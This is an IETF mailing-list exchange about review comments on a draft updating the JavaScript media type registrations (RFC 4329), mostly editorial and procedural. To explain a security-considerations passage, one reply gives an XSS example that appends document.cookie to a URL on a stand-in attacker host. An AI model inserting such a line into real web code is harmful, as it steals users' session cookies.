Re: [dispatch] Benjamin Kaduk's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT)

[Benjamin Kaduk <[e-mail]>]

Hi Mathias,

Your responses all make sense to me, and the changes in the referenced PR
look good.

Thanks!

-Ben

On Fri, Jan 07, 2022 at 10:13:15AM +0100, Mathias Bynens wrote:
> Thanks for the review! Replies inline.
> 
> On Thu, Jan 6, 2022 at 1:00 AM Benjamin Kaduk via Datatracker <
> [e-mail]> wrote:
> 
> > Benjamin Kaduk has entered the following ballot position for
> > draft-ietf-dispatch-javascript-mjs-13: No Objection
> >
> > When responding, please keep the subject line intact and reply to all
> > email addresses included in the To and CC lines. (Feel free to cut this
> > introductory paragraph, however.)
> >
> >
> > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/
> > for more information about how to handle DISCUSS and COMMENT positions.
> >
> >
> > The document, along with other ballot positions, can be found here:
> > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/
> >
> >
> >
> > ----------------------------------------------------------------------
> > COMMENT:
> > ----------------------------------------------------------------------
> >
> > Section 3
> >
> >    This document does not define how fragment identifiers in resource
> >    identifiers ([RFC3986], [RFC3987]) for documents labeled with one of
> >    the media types defined in this document are resolved.  An update of
> >    this document may define processing of fragment identifiers.
> >
> > This section is the "modules" section; the disclaimer of specification of
> > fragment handling seems to apply to both script and module content, and
> > thus
> > to be misplaced in this section.
> >
> 
> Thanks. Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files.
> 
> 
> > Section 5
> >
> >    Module scripts in ECMAScript can request the fetching and processing
> >    of additional scripts, called importing.  Implementations that
> >    support modules need to process imported sources in the same way as
> >    scripts.  Further, there may be additional privacy and security
> >    concerns depending on the location(s) the original script and its
> >    imported modules are obtained from.  For instance, a script obtained
> >    from "host-a.example" could request to import a script from "host-
> >    b.example", which could expose information about the executing
> >    environment (e.g., IP address) to "host-b.example".  See the section
> >    "ECMAScript Language: Scripts and Modules" in [ECMA-262] for details.
> >
> > Is the referenced "ECMAScript Language: Scripts and Modules" section
> > supposed to be providing more details on the importing process, or the
> > potential privacy and security concerns?  I skimmed through it and found
> > nothing noteworthy on the latter, which suggests that perhaps the former
> > was
> > intended.  If that's the case, then reordering the sentences within the
> > paragraph might be helpful.
> >
> 
> Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files.
> 
>    This circumstance can further be used to make information, that is
> >    normally only available to the script, available to a web server by
> >    encoding the information in the resource identifier of the resource,
> >    which can further enable eavesdropping attacks.  Implementation of
> >    such facilities is subject to the security considerations of the host
> >    environment, as discussed above.
> >
> > What does "the resource" refer to, here?  I don't see a previous mention of
> > a resource that it would be referring to.  Is it perhaps a resource that's
> > the target of a request to the web server that is receiving the information
> > in question?
> >
> 
> It refers to for example, URLs, that can be constructed and requested using
> JavaScript/DOM APIs on the Web as part of an XSS attack
> <https://owasp.org/www-community/attacks/xss/>:
> 
>     'https://hacker-controlled-server.example.com/log-cookie-data?cookie='
> + document.cookie;
> 
> This content is inherited as-is from RFC4329; we’d rather not make changes
> to it as it’s outside the scope of our proposed changes.
> 
> Section 7.1
> >
> > It's pretty surprising to see a normative dependency on RFC 4329 when we
> > claim to obsolete that document.
> >
> 
> Note that the registrations intentionally refer to both the new doc and RFC
> 4329:
> 
>    Person & email address to contact for further information:  See
>       Author's Address section of [this document] and [RFC4329].
> 
> Happy to make changes if needed but given the above, the normative
> reference seems unsurprising to me.
> 
> 
> > Appendix B
> >
> > Looking at the diff from RFC 4329, I also see some text about handling
> > application/ecmascript content that has a "version" parameter to the media
> > type, that seems to have been removed entirely for this document.  Is that
> > sufficiently noteworthy to be included in this change listing?
> >
> 
> This falls under the list item “Updated various references where the
> original has been obsoleted.” which is already listed under the “Changes
> from RFC 4329” section.
> 
> The "version" parameter refers to the following old RFC 4329 note:
> 
>    For the
>    application/ecmascript media type, implementations MUST NOT process
>    content labeled with a "version" parameter as if no such parameter
>    had been specified; this is typically achieved by treating the
>    content as unsupported.
> 
> This does not match implementation reality, and Web browsers cannot
> implement this restriction without Breaking the Web:
> https://mathiasbynens.be/demo/javascript-mime-type The "version" parameter
> is just ignored in practice, like any other unspecified parameter, so there
> is no need to include any text about it.
> 
> NITS
> >
> > Section 5
> >
> >    The programming language defined in [ECMA-262] is not intended to be
> >    computationally self-sufficient, rather it is expected that the
> >    computational environment provides facilities to programs to enable
> >    specific functionality.  [...]
> >
> > The comma usage seems off here.  I'm not sure if the sentence overall
> > contains a comma splice or not, but probably there should be a comma after
> > "rather" regardless of whether the first comma is converted to
> > semicolon/full-stop or otherwise.
> >
> 
> Good catch. Addressed in
> https://github.com/linuxwolf/bmeck-ids/pull/62/files.
> 
> 
> > Section 6
> >
> >    application/ecmascript" is to be removed.  IANA is requested to add
> >    the note "OBSOLETED in favor of text/javascript" to all registrations
> >    except "text/javascript".
> >
> > Presumably this is "all registrations listed in this document", not "all
> > registrations in the registry"...
> >
> 
> Indeed. That applies to the rest of the sentence as well, e.g. "All
> registrations will point to this document as reference.".
> 
> 
> > Section 6.2.x
> >
> > I extracted the various subsections and used diff to compare them.
> > Aside from the expected variation in type/subtype name and file extension
> > (.es vs .js), there is also variation in:
> >
> > - whether there is a full stop at the end of the "Change controller" line
> >
> 
> Good catch! Fixed.
> 
> 
> > - some have the "Person & email address to contact for further information"
> >   listing both this document and RFC 4329, but most just list this
> > document.
> >
> 
> Fixed.
> 
> 
> > - text/livescript does not have a note about this registration applying to
> >   later editions of [ECMA-262]; perhaps that's appropriate for the
> >   livescript media type.
> >
> 
> I’ve made this consistent for all registrations in the document. Your nits
> helped me find a few other inconsistencies that I’ve addressed as well.
> 
> Thanks,
> Mathias